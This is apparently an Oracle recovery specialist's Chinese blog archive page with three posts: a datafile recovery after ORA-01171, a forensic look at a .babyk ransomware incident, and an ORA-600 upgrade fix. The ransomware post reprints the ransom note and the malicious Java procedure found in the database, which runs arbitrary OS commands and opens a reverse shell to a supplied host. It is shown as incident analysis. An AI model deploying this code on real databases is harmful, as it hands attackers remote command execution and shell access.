标签云
asm恢复 bbed bootstrap$ dul kcbzib_kcrsds_1 kccpb_sanity_check_2 kcratr_nab_less_than_odr MySQL恢复 obet ORA-00312 ORA-00704 ORA-00742 ORA-01110 ORA-01200 ORA-01555 ORA-01578 ORA-01595 ORA-600 2662 ORA-600 2663 ORA-600 3020 ORA-600 4000 ORA-600 4137 ORA-600 4193 ORA-600 4194 ORA-600 16703 ORA-600 kcbzib_kcrsds_1 ORA-600 KCLCHKBLK_4 ORA-600 kcratr_nab_less_than_odr ORA-15042 ORA-15196 ORACLE 12C oracle dul ORACLE PATCH Oracle Recovery Tools oracle加密恢复 oracle勒索 oracle勒索恢复 oracle异常恢复 ORACLE恢复 Oracle 恢复 ORACLE数据库恢复 oracle碎片 OSD-04016 YOUR FILES ARE ENCRYPTED 比特币加密文章分类
- MongoDB (1)
- MongoDB恢复 (1)
- Others (2)
- 中间件 (2)
- WebLogic (2)
- 操作系统 (112)
- 数据库 (1,878)
- DB2 (22)
- MySQL (82)
- Oracle (1,704)
- Data Guard (53)
- EXADATA (8)
- GoldenGate (24)
- ORA-xxxxx (168)
- ORACLE 12C (72)
- ORACLE 18C (6)
- ORACLE 19C (15)
- ORACLE 21C (3)
- Oracle 23ai (8)
- Oracle ASM (72)
- Oracle Bug (8)
- Oracle RAC (56)
- Oracle 安全 (6)
- Oracle 开发 (28)
- Oracle 监听 (29)
- Oracle备份恢复 (659)
- Oracle安装升级 (107)
- Oracle性能优化 (62)
- 专题索引 (5)
- 勒索恢复 (91)
- PostgreSQL (37)
- pdu工具 (7)
- PostgreSQL恢复 (13)
- SQL Server (34)
- SQL Server恢复 (14)
- TimesTen (7)
- 达梦数据库 (5)
- 达梦恢复 (3)
- 生活娱乐 (2)
- 至理名言 (11)
- 虚拟化 (2)
- VMware (2)
- 软件开发 (51)
- Asp.Net (9)
- JavaScript (12)
- PHP (2)
- 小工具 (34)
- MongoDB (1)
-
最近发表
- 由于con$.con#值达到极限,触发数据库增加约束报ORA-600 12807错误
- MongoDB 离线提取工具—mongoext
- .bres勒索病毒加密数据库dmp文件可恢复
- ORA-600 krsm_mrp_rebuild_lf_list.lno_mismatch
- 记录一次0丢失的ORA-00354: 损坏重做日志块标头故障恢复
- 不当数据库恢复操作导致一个月数据丢失
- obet快速修复oracle 位图损坏块
- 不太常见的10.2.0.1的oracle redo损坏恢复
- obet forcecopy功能抢救硬件故障中的数据文件
- kcratr_nab_less_than_odr和system坏块故障处理
- 通过obet 恢复system坏块,打开数据库
- obet dbv功能完整说明
- 分享一例运行在aix上的sap系统数据库恢复过程
- OBET-Oracle Block Editor Tool使用说明
- 几乎动用了所有手段的Oracle故障恢复
- Oracle Block Edit Tool (obet) 功能增强–2026.07
- Oracle 19c 202607补丁(RUs+OJVM)-19.32
- Patch_SCN快速修复ORA-01555数据库open故障
- 快速处理 ORA-01210: data file header is media corrupt 故障
- ORA-00314: log 3 of thread 1, expected sequence# N doesn’t match 0
分类目录归档:Oracle
ORA-01171: datafile N going offline due to error advancing checkpoint
最近接到一个客户有一个数据文件offline的恢复咨询,通过分析日志,当时是由于在启动的时候数据文件被占用导致后续数据库open之后,该文件被强制offline掉
Fri May 16 20:01:05 2025 Database mounted in Exclusive Mode Completed: ALTER DATABASE MOUNT Fri May 16 20:01:05 2025 ALTER DATABASE OPEN Fri May 16 20:01:06 2025 LGWR: STARTING ARCH PROCESSES ARC0 started with pid=70, OS id=4628 Fri May 16 20:01:06 2025 ARC0: Archival started ARC1 started with pid=74, OS id=4840 Fri May 16 20:01:06 2025 ARC1: Archival started LGWR: STARTING ARCH PROCESSES COMPLETE Fri May 16 20:01:06 2025 Errors in file d:\oracle\product\10.2.0\admin\orcl\bdump\orcl_lgwr_4080.trc: ORA-01110: data file 14: 'D:\ORADATA\XIFENFEI105_DAT_1.DBF' ORA-01114: IO error writing block to file 14 (block # 1) ORA-27041: unable to open file OSD-04002: 无法打开文件 O/S-Error: (OS 32) 另一个程序正在使用此文件,进程无法访问。 Thread 1 opened at log sequence 172421 Current log# 1 seq# 172421 mem# 0: D:\ORACLE\PRODUCT\10.2.0\ORADATA\ORCL\REDO01.LOG Fri May 16 20:01:06 2025 ARC1: STARTING ARCH PROCESSES Fri May 16 20:01:06 2025 Successful open of redo thread 1 Fri May 16 20:01:06 2025 ARC0: Becoming the 'no FAL' ARCH ARC0: Becoming the 'no SRL' ARCH Fri May 16 20:01:06 2025 ARC2: Archival started ARC1: STARTING ARCH PROCESSES COMPLETE ARC2 started with pid=78, OS id=4056 Fri May 16 20:01:06 2025 ARC1: Becoming the heartbeat ARCH Fri May 16 20:01:06 2025 MTTR advisory is disabled because FAST_START_MTTR_TARGET is not set Fri May 16 20:01:06 2025 SMON: enabling cache recovery Fri May 16 20:01:07 2025 Successfully onlined Undo Tablespace 1. Fri May 16 20:01:07 2025 SMON: enabling tx recovery Fri May 16 20:01:08 2025 Database Characterset is ZHS16GBK replication_dependency_tracking turned off (no async multimaster replication found) Starting background process QMNC QMNC started with pid=86, OS id=4492 Fri May 16 20:01:12 2025 db_recovery_file_dest_size of 51200 MB is 1.97% used. This is a user-specified limit on the amount of space that will be used by this database for recovery-related files, and does not reflect the amount of space available in the underlying filesystem or ASM diskgroup. Fri May 16 20:01:13 2025 Completed: ALTER DATABASE OPEN Fri May 16 20:06:44 2025 Restarting dead background process MMON MMON started with pid=98, OS id=4232 Fri May 16 20:07:06 2025 Shutting down archive processes Fri May 16 20:07:11 2025 ARCH shutting down ARC2: Archival stopped Fri May 16 20:10:32 2025 Thread 1 advanced to log sequence 172422 Current log# 2 seq# 172422 mem# 0: D:\ORACLE\PRODUCT\10.2.0\ORADATA\ORCL\REDO02.LOG Fri May 16 20:15:33 2025 Errors in file d:\oracle\product\10.2.0\admin\orcl\bdump\orcl_ckpt_2496.trc: ORA-01171: datafile 14 going offline due to error advancing checkpoint ORA-01122: database file 14 failed verification check ORA-01110: data file 14: 'D:\ORADATA\XIFENFEI105_DAT_1.DBF' ORA-01208: data file is an old version - not accessing current version Fri May 16 20:23:09 2025 Starting background process EMN0 EMN0 started with pid=82, OS id=2660
本身这个故障相对比较简单,只要归档存在直接recover datafile,然后online即可,但是由于备份软件定时工作,导致对应的归档被备份走
Fri May 16 21:55:10 2025 Control autobackup written to SBT_TAPE device comment 'API Version 2.0,MMS Version 10.0.0.116', media 'V_6746190_6959024' handle 'c-1300253653-20250516-00' Fri May 16 21:56:03 2025 Thread 1 cannot allocate new log, sequence 172423 Private strand flush not complete Current log# 2 seq# 172422 mem# 0: D:\ORACLE\PRODUCT\10.2.0\ORADATA\ORCL\REDO02.LOG
而且被异常的数据文件不是核心业务文件,导致客户没有及时发现,等到发现之时尝试recover datafile,提示缺少归档
Wed May 28 17:26:01 2025 alter database recover datafile list clear Wed May 28 17:26:01 2025 Completed: alter database recover datafile list clear Wed May 28 17:26:01 2025 alter database recover if needed datafile 14 Media Recovery Start parallel recovery started with 16 processes ORA-279 signalled during: alter database recover if needed datafile 14 ... Wed May 28 17:26:11 2025 alter database recover cancel Wed May 28 17:26:13 2025 Media Recovery Canceled Completed: alter database recover cancel Wed May 28 17:38:58 2025 ALTER DATABASE RECOVER datafile 'D:\ORADATA\XIFENFEI105_DAT_1.DBF' Wed May 28 17:38:58 2025 Media Recovery Start parallel recovery started with 16 processes ORA-279 signalled during: ALTER DATABASE RECOVER datafile 'D:\ORADATA\XIFENFEI105_DAT_1.DBF' ... Wed May 28 18:26:37 2025 ALTER DATABASE RECOVER CONTINUE DEFAULT Wed May 28 18:26:38 2025 Media Recovery Log D:\ORACLE\PRODUCT\10.2.0\FLASH_RECOVERY_AREA\ORCL\ARCHIVELOG\2025_05_28\O1_MF_1_172421_%U_.ARC Errors with log D:\ORACLE\PRODUCT\10.2.0\FLASH_RECOVERY_AREA\ORCL\ARCHIVELOG\2025_05_28\O1_MF_1_172421_%U_.ARC ORA-308 signalled during: ALTER DATABASE RECOVER CONTINUE DEFAULT ... Wed May 28 18:26:38 2025 ALTER DATABASE RECOVER CONTINUE DEFAULT Wed May 28 18:26:38 2025 Media Recovery Log D:\ORACLE\PRODUCT\10.2.0\FLASH_RECOVERY_AREA\ORCL\ARCHIVELOG\2025_05_28\O1_MF_1_172421_%U_.ARC Errors with log D:\ORACLE\PRODUCT\10.2.0\FLASH_RECOVERY_AREA\ORCL\ARCHIVELOG\2025_05_28\O1_MF_1_172421_%U_.ARC ORA-308 signalled during: ALTER DATABASE RECOVER CONTINUE DEFAULT ... Wed May 28 18:26:38 2025 ALTER DATABASE RECOVER CANCEL Wed May 28 18:26:40 2025 Media Recovery Canceled Completed: ALTER DATABASE RECOVER CANCEL
这个客户运气还不错,带库中的需要恢复的归档日志都还在,通过指定带库通道,直接recover datafile成功
RUN {
ALLOCATE CHANNEL ch1 DEVICE TYPE 'sbt_tape'
PARMS="BLKSIZE=262144,ENV=(CV_mmsApiVsn=2,CV_channelPar=ch1)";
ALLOCATE CHANNEL ch2 DEVICE TYPE 'sbt_tape'
PARMS="BLKSIZE=262144,ENV=(CV_mmsApiVsn=2,CV_channelPar=ch2)";
recover datafile 14;
}
至此完美解决该问题,通过这个case,的出来的经验有:
1. 数据库重启之后,要检查数据库日志和查询数据库数据文件状态(主要防止一些不太常用的文件异常,不能及时发现)
2. 需要需要数据库的基本情况,比如备份,容灾,asm磁盘组冗余,存储冗余,网络冗余等情况,这样出现问题好排查解决
linux环境oracle数据库被文件系统勒索加密为.babyk扩展名溯源
最近有一个客户使用了xx厂商的erp软件的Oracle数据库服务被勒索加密(运行在linux平台)
文件加密结果
文件名称被加上.babyk,每个目录下面会留下一个README_babyk.txt文件

README_babyk.txt文件内容
___
______ ______ ______ .' `. ______ ______ ______
|______||______||______| / .-. \ .--. _ .--. .--. |______||______||______|
______ ______ ______ | | | |/ .'`\ \[ '/'`\ \( (`\] ______ ______ ______
|______||______||______| \ `-' /| \__. | | \__/ | `'.'. |______||______||______|
`.___.' '.__.' | ;.__/ [\__) )
[__|
=========================================================
What Happened to My Computer?
Your important files are encrypted.
Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time.
=========================================================
=========================================================
Can I Recover My Files?
Sure. We guarantee that you can recover all your files safely and easily. But you have
not so enough time.if you want to decrypt all your files, you need to pay.
You only have 3 days to submit the payment. After that the price will be doubled.
Also, if you don't pay in 7 days, you won't be able to recover your files forever.
=========================================================
=========================================================
How Do I Pay?
Your Encryption ID:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Payment is accepted in BTC only. If you don't know what's BTC, please Google for
information on how to buy and pay for BTC.
Send $6000 worth of BTC to this address:
bc1q2p280472y0ssqcr6lhzz3qxxgevg3a63ewacl9
After the payment is completed, Please send your encryption ID and proof of payment to our email.
We will reply to the decryption program to your email address.
=========================================================
=========================================================
How to Contact Us?
aip6jmb@tuta.io
setack@tuta.io
=========================================================
*Warning: Don't try to decrypt by yourself, you may permanently damage your files.
然后客户找人进行勒索解密,结果对于大于16G左右的文件解密失败.解密失败原因是由于较大文件加密算法问题,导致他们拿到了解密程序也无法解密,具体对于加密文件对比说明:
解密成功文件大小和文件尾部


解密失败文件大小和文件尾部


通过对比可以确认文件和占用空间一致,而且尾部没有多出来38byte的字符串的文件是属于解密失败(因为本身加密就不正常)
被勒索加密源头分析
通过解密成功的system01.dbf文件打开库,然后检查数据库中对象,发现一个异常的函数shellrun
create or replace function shellrun(methodName varchar2,
params varchar2,
encoding varchar2) return varchar2 as
language java name 'ShellUtil.run(java.lang.String,java.lang.String,java.lang.String) return java.lang.String';
分析对应的java相关的ShellUtil,检查发现有以下部分

进一步分析ShellUtil中内容
create or replace and compile java source named "ShellUtil" as
import java.io.*;
import java.net.Socket;
import java.util.concurrent.RecursiveTask;
public class ShellUtil extends Object{
public static String run(String methodName, String params, String encoding) {
String res = "";
if (methodName.equals("exec")) {
res = ShellUtil.exec(params, encoding);
}else if (methodName.equals("connectback")) {
String ip = params.substring(0, params.indexOf("^"));
String port = params.substring(params.indexOf("^") + 1);
res = ShellUtil.connectBack(ip, Integer.parseInt(port));
}else {
res = "unkown methodName";
}
return res;
}
public static String exec(String command, String encoding) {
StringBuffer result = new StringBuffer();
try {
String[] finalCommand;
if (System.getProperty("os.name").toLowerCase().contains("windows")) {
String systemRootvariable;
try {
systemRootvariable = System.getenv("SystemRoot");
}
catch (ClassCastException e) {
systemRootvariable = System.getProperty("SystemRoot");
}
finalCommand = new String[3];
finalCommand[0] = systemRootvariable+"\\system32\\cmd.exe";
finalCommand[1] = "/c";
finalCommand[2] = command;
} else { // Linux or Unix System
finalCommand = new String[3];
finalCommand[0] = "/bin/sh";
finalCommand[1] = "-c";
finalCommand[2] = command;
}
BufferedReader readerIn = null;
BufferedReader readerError = null;
try {
readerIn = new BufferedReader(new InputStreamReader
(Runtime.getRuntime().exec(finalCommand).getInputStream(),encoding));
String stemp = "";
while ((stemp = readerIn.readLine()) != null){
result.append(stemp).append("\n");
}
}catch (Exception e){
result.append(e.toString());
}finally {
if (readerIn != null) {
readerIn.close();
}
}
try {
readerError = new BufferedReader(new InputStreamReader
(Runtime.getRuntime().exec(finalCommand).getErrorStream(), encoding));
String stemp = "";
while ((stemp = readerError.readLine()) != null){
result.append(stemp).append("\n");
}
}catch (Exception e){
result.append(e.toString());
}finally {
if (readerError != null) {
readerError.close();
}
}
} catch (Exception e) {
result.append(e.toString());
}
return result.toString();
}
public static String connectBack(String ip, int port) {
class StreamConnector extends Thread {
InputStream sp;
OutputStream gh;
StreamConnector(InputStream sp, OutputStream gh) {
this.sp = sp;
this.gh = gh;
}
@Override
public void run() {
BufferedReader xp = null;
BufferedWriter ydg = null;
try {
xp = new BufferedReader(new InputStreamReader(this.sp));
ydg = new BufferedWriter(new OutputStreamWriter(this.gh));
char buffer[] = new char[1024];
int length;
while ((length = xp.read(buffer, 0, buffer.length)) > 0) {
ydg.write(buffer, 0, length);
ydg.flush();
}
} catch (Exception e) {}
try {
if (xp != null) {
xp.close();
}
if (ydg != null) {
ydg.close();
}
} catch (Exception e) {
}
}
}
try {
String sp;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
sp = new String("/bin/sh");
} else {
sp = new String("cmd.exe");
}
Socket sk = new Socket(ip, port);
Process ps = Runtime.getRuntime().exec(sp);
(new StreamConnector(ps.getInputStream(), sk.getOutputStream())).start();
(new StreamConnector(sk.getInputStream(), ps.getOutputStream())).start();
} catch (Exception e) {
}
return "^OK^";
}
}
这些程序都是4月24日14:58:40-14:58:50之间创建,通过咨询客户,客户的应用在4月24日上午进行了升级.基于上述情况,初步怀疑是通过应用给数据库层面注入了恶意脚本,创建了函数和一些java包,实现提权获取了操作系统权限,然后对操作系统文件进行加密.最终结论需要等应用和安全厂商进行确认
ORA-600 ksvworkmsgalloc: bad reaper
有一个朋友说他们想把12c的库还原到19c版本中然后进行升级测试,结果在打开库的过程中发现几个错误,让我给帮忙分析下
resetlogs 报ORA-00392 ORA-00312
SQL> alter database open resetlogs upgrade; alter database open resetlogs upgrade * ERROR at line 1: ORA-00392: log 7 of thread 1 is being cleared, operation not allowed ORA-00312: online log 7 thread 1: '/DBS1/data/NDBS/onlinelog/redo07_m1.log ' ORA-00312: online log 7 thread 1: '/DBS1/arch/NDBS/onlinelog/redo07_m2.log '
这个错误一般是由于redo状态不对,比如标记为了CLEARING_CURRENT,处理操作
SQL> select group#,status from v$log;
GROUP# STATUS
---------------- ----------------
1 CLEARING
2 CLEARING
3 CLEARING
4 CLEARING
10 CLEARING
6 CLEARING
7 CLEARING_CURRENT
8 CLEARING
9 CLEARING
5 CLEARING
10 rows selected.
SQL> alter database clear logfile group 7;
Database altered.
SQL> select group#,status from v$log;
GROUP# STATUS
---------------- ----------------
1 CLEARING
2 CLEARING
3 CLEARING
4 CLEARING
10 CLEARING
6 CLEARING
7 CURRENT
8 CLEARING
9 CLEARING
5 CLEARING
10 rows selected.
再次reseltogs报ORA-600 ksvworkmsgalloc: bad reaper错误
SQL> alter database open resetlogs upgrade; alter database open resetlogs upgrade * ERROR at line 1: ORA-00600: internal error code, arguments: [ksvworkmsgalloc: bad reaper], [0x080010003], [], [], []
这个错误通过查询MOS 发现Open Resetlogs Fail with ORA-00600[ksvworkmsgalloc: bad reaper] (Doc ID 2728106.1)文章中描述,由于non-ASM to ASM环境redo文件在clear的时候触发该问题

是由于db_create_online_log_dest_1参数没有设置导致,对于该库是由asm环境到文件系统,估计也是在resetlogs的时候clear redo报出来该错误,解决办法给该库设置上
db_create_online_log_dest_1=/DBS1/data,db_create_online_log_dest_2=/DBS1/arch,然后打开库成功






加我微信(17813235971)
加我QQ(107644445)

